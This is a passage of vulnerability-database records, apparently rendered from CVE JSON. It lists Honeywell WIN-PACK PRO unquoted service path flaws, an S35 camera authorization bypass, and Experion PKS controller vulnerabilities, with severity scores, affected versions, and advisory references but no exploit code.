"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.5,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-428",
"description": "Unquoted Search Path or Element",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-05T01:29:00.395Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "ExploitDB-49692",
"tags": [
"exploit"
],
"url": "https://www.exploit-db.com/exploits/49692"
},
{
"name": "Honeywell Product Webpage",
"tags": [
"product"
],
"url": "https://www.security.honeywell.com/product-repository/winpak"
},
{
"name": "VulnCheck Advisory: WIN-PACK PRO 4.8 - \u0027WPCommandFileService\u0027 Unquoted Service Path",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/win-pack-pro-wpcommandfileservice-unquoted-service-path"
}
],
"title": "WIN-PACK PRO 4.8 - \u0027WPCommandFileService\u0027 Unquoted Service Path",
"x_generator": {
"engine": "vulncheck"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2021-47868",
"datePublished": "2026-01-21T17:27:45.785Z",
"dateReserved": "2026-01-18T12:35:05.171Z",
"dateUpdated": "2026-03-05T01:29:00.395Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2021-47866 (GCVE-0-2021-47866)
Vulnerability from cvelistv5 – Published: 2026-01-21 17:27 – Updated: 2026-03-05 01:28
VLAI
EPSS
VEX
Title
WIN-PACK PRO 4.8 - 'GuardTourService' Unquoted Service Path
Summary
WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the GuardTourService that allows local users to potentially execute code with elevated system privileges. Attackers can exploit the unquoted path in C:\Program Files <x86>\WINPAKPRO\WP GuardTour Service.exe to inject malicious code that would execute during service startup.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-22 16:47 UTC
CWE
- CWE-428 - Unquoted Search Path or Element
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/49690 | exploit |
| https://www.security.honeywell.com/product-reposi… | product |
| https://www.vulncheck.com/advisories/win-pack-pro… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | WIN-PACK PRO |
Affected:
4.8
cpe:2.3:a:honeywell:win-pak:4.8:*:*:*:*:*:*:* |
Date Public
2021-03-16 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2021-47866",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-22T16:47:15.941886Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-22T16:52:45.690Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "WIN-PACK PRO",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "4.8"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:honeywell:win-pak:4.8:*:*:*:*:*:*:*",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Alan Mondragon"
}
],
"datePublic": "2021-03-16T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the GuardTourService that allows local users to potentially execute code with elevated system privileges. Attackers can exploit the unquoted path in C:\\Program Files \u003cx86\u003e\\WINPAKPRO\\WP GuardTour Service.exe to inject malicious code that would execute during service startup."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.5,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-428",
"description": "Unquoted Search Path or Element",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-05T01:28:59.472Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "ExploitDB-49690",
"tags": [
"exploit"
],
"url": "https://www.exploit-db.com/exploits/49690"
},
{
"name": "Honeywell Product Webpage",
"tags": [
"product"
],
"url": "https://www.security.honeywell.com/product-repository/winpak"
},
{
"name": "VulnCheck Advisory: WIN-PACK PRO 4.8 - \u0027GuardTourService\u0027 Unquoted Service Path",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/win-pack-pro-guardtourservice-unquoted-service-path"
}
],
"title": "WIN-PACK PRO 4.8 - \u0027GuardTourService\u0027 Unquoted Service Path",
"x_generator": {
"engine": "vulncheck"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2021-47866",
"datePublished": "2026-01-21T17:27:44.672Z",
"dateReserved": "2026-01-18T12:35:05.170Z",
"dateUpdated": "2026-03-05T01:28:59.472Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-12351 (GCVE-0-2025-12351)
Vulnerability from cvelistv5 – Published: 2025-10-27 15:03 – Updated: 2025-10-27 16:04
VLAI
EPSS
VEX
Title
Inadequate access control measure allows unauthorized users to access restricted administrative functions
Summary
Honeywell S35 Series Cameras contains an authorization bypass Vulnerability through User controller key. An attacker could potentially exploit this vulnerability, leading to Privilege Escalation to admin privileged functionalities . Honeywell also recommends updating to the most recent version of this product, service or offering (S35 Pinhole/Kit Camera to version 2025.08.28, S35 AI Fisheye & Dual Sensor/Micro Dome/Full Color Eyeball & Bullet Camera to version 2025.08.22, S35 Thermal Camera to version 2025.08.26).
Severity
6.8 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-10-27 15:14 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.honeywell.com/us/en/product-security | vendor-advisory |
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | S35 3M/5M/8M/Pinhole/Kit Camera |
Affected:
2022.02.28 , < 2025.08.28
(date)
|
|
| Honeywell | S35 AI Fisheye&Dual Sensor/Micro Dome/Full Color Eyeball&Bullet Camera |
Affected:
2024.08.10 , < 2025.08.22
(date)
|
|
| Honeywell | S35 Thermal Camera |
Affected:
2024.10.21 , < 2025.08.26
(date)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-12351",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-27T15:14:48.505227Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-10-27T16:04:11.466Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "S35 3M/5M/8M/Pinhole/Kit Camera",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "2025.08.28",
"status": "affected",
"version": "2022.02.28",
"versionType": "date"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "S35 AI Fisheye\u0026Dual Sensor/Micro Dome/Full Color Eyeball\u0026Bullet Camera",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "2025.08.22",
"status": "affected",
"version": "2024.08.10",
"versionType": "date"
}
]
},
{
"defaultStatus": "unaffected",
"product": "S35 Thermal Camera",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "2025.08.26",
"status": "affected",
"version": "2024.10.21",
"versionType": "date"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Honeywell S35 Series Cameras contains an authorization bypass Vulnerability through User controller key. An attacker could potentially exploit this vulnerability, leading to Privilege Escalation to admin privileged functionalities . Honeywell also recommends updating to the most recent version of this product, service or offering (S35 Pinhole/Kit Camera to version 2025.08.28, S35 AI Fisheye \u0026amp; Dual Sensor/Micro Dome/Full Color Eyeball \u0026amp; Bullet Camera to version 2025.08.22, S35 Thermal Camera to version 2025.08.26).\u003cp\u003e\u003c/p\u003e"
}
],
"value": "Honeywell S35 Series Cameras contains an authorization bypass Vulnerability through User controller key. An attacker could potentially exploit this vulnerability, leading to Privilege Escalation to admin privileged functionalities . Honeywell also recommends updating to the most recent version of this product, service or offering (S35 Pinhole/Kit Camera to version 2025.08.28, S35 AI Fisheye \u0026 Dual Sensor/Micro Dome/Full Color Eyeball \u0026 Bullet Camera to version 2025.08.22, S35 Thermal Camera to version 2025.08.26)."
}
],
"impacts": [
{
"capecId": "CAPEC-22",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-22 Exploiting Trust in Client"
}
]
},
{
"capecId": "CAPEC-233",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-233 Privilege Escalation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-639",
"description": "CWE-639 Authorization Bypass Through User-Controlled Key",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-668",
"description": "CWE-668 Exposure of Resource to Wrong Sphere",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-10-27T15:03:57.602Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://www.honeywell.com/us/en/product-security"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Inadequate access control measure allows unauthorized users to access restricted administrative functions",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-12351",
"datePublished": "2025-10-27T15:03:57.602Z",
"dateReserved": "2025-10-27T14:59:57.822Z",
"dateUpdated": "2025-10-27T16:04:11.466Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-3947 (GCVE-0-2025-3947)
Vulnerability from cvelistv5 – Published: 2025-07-10 20:19 – Updated: 2025-08-04 19:46
VLAI
EPSS
VEX
Title
Integer underflow during processing of short network packets in CDA FTEB responder
Summary
The Honeywell Experion PKS contains an Integer Underflow
vulnerability
in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to
Input Data Manipulation, which could result in improper integer data value checking during subtraction leading to a denial of service.
Honeywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1.
The affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.
Severity
8.2 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:34 UTC
CWE
- CWE-191 - Integer Underflow (Wrap or Wraparound)
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
9 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-3947",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:34:52.670505Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:35:01.787Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell Experion PKS contains an Integer Underflow \n\nvulnerability \n\nin the component Control\u0026nbsp;\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eData Access (CDA). An attacker could potentially exploit this vulnerability, leading to \n\nInput Data Manipulation, which could result in improper\u0026nbsp;integer data value checking during subtraction leading to a denial of service.\u003cbr\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cbr\u003e\u003c/span\u003e\u003c/span\u003e\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1.\u003cbr\u003e\u003cbr\u003eThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.\n\n\u003cbr\u003e"
}
],
"value": "The Honeywell Experion PKS contains an Integer Underflow \n\nvulnerability \n\nin the component Control\u00a0Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to \n\nInput Data Manipulation, which could result in improper\u00a0integer data value checking during subtraction leading to a denial of service.\n\n\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1.\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3."
}
],
"impacts": [
{
"capecId": "CAPEC-153",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-153 Input Data Manipulation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-191",
"description": "CWE-191 Integer Underflow (Wrap or Wraparound)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:46:31.982Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Integer underflow during processing of short network packets in CDA FTEB responder",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-3947",
"datePublished": "2025-07-10T20:19:13.991Z",
"dateReserved": "2025-04-25T15:21:22.614Z",
"dateUpdated": "2025-08-04T19:46:31.982Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-3946 (GCVE-0-2025-3946)
Vulnerability from cvelistv5 – Published: 2025-07-10 20:16 – Updated: 2025-08-04 19:46
VLAI
EPSS
VEX
Title
Incorrect response generation during FTEB protocol processing
Summary
The Honeywell Experion PKS
and OneWireless WDM
contains a Deployment of Wrong Handler
vulnerability
in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to
Input Data Manipulation,
which could result in incorrect handling of packets leading to remote code execution.
Honeywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.
The affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.
Severity
8.2 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:35 UTC
CWE
- CWE-430 - Deployment of Wrong Handler
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | Wireless Device Manager |
Affected:
322.1 , ≤ 322.4
(semver)
Affected: 330.1 , ≤ 330.3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-3946",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:35:19.798404Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:35:28.409Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"OneWireless"
],
"product": "Wireless Device Manager",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "322.4",
"status": "affected",
"version": "322.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "330.3",
"status": "affected",
"version": "330.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
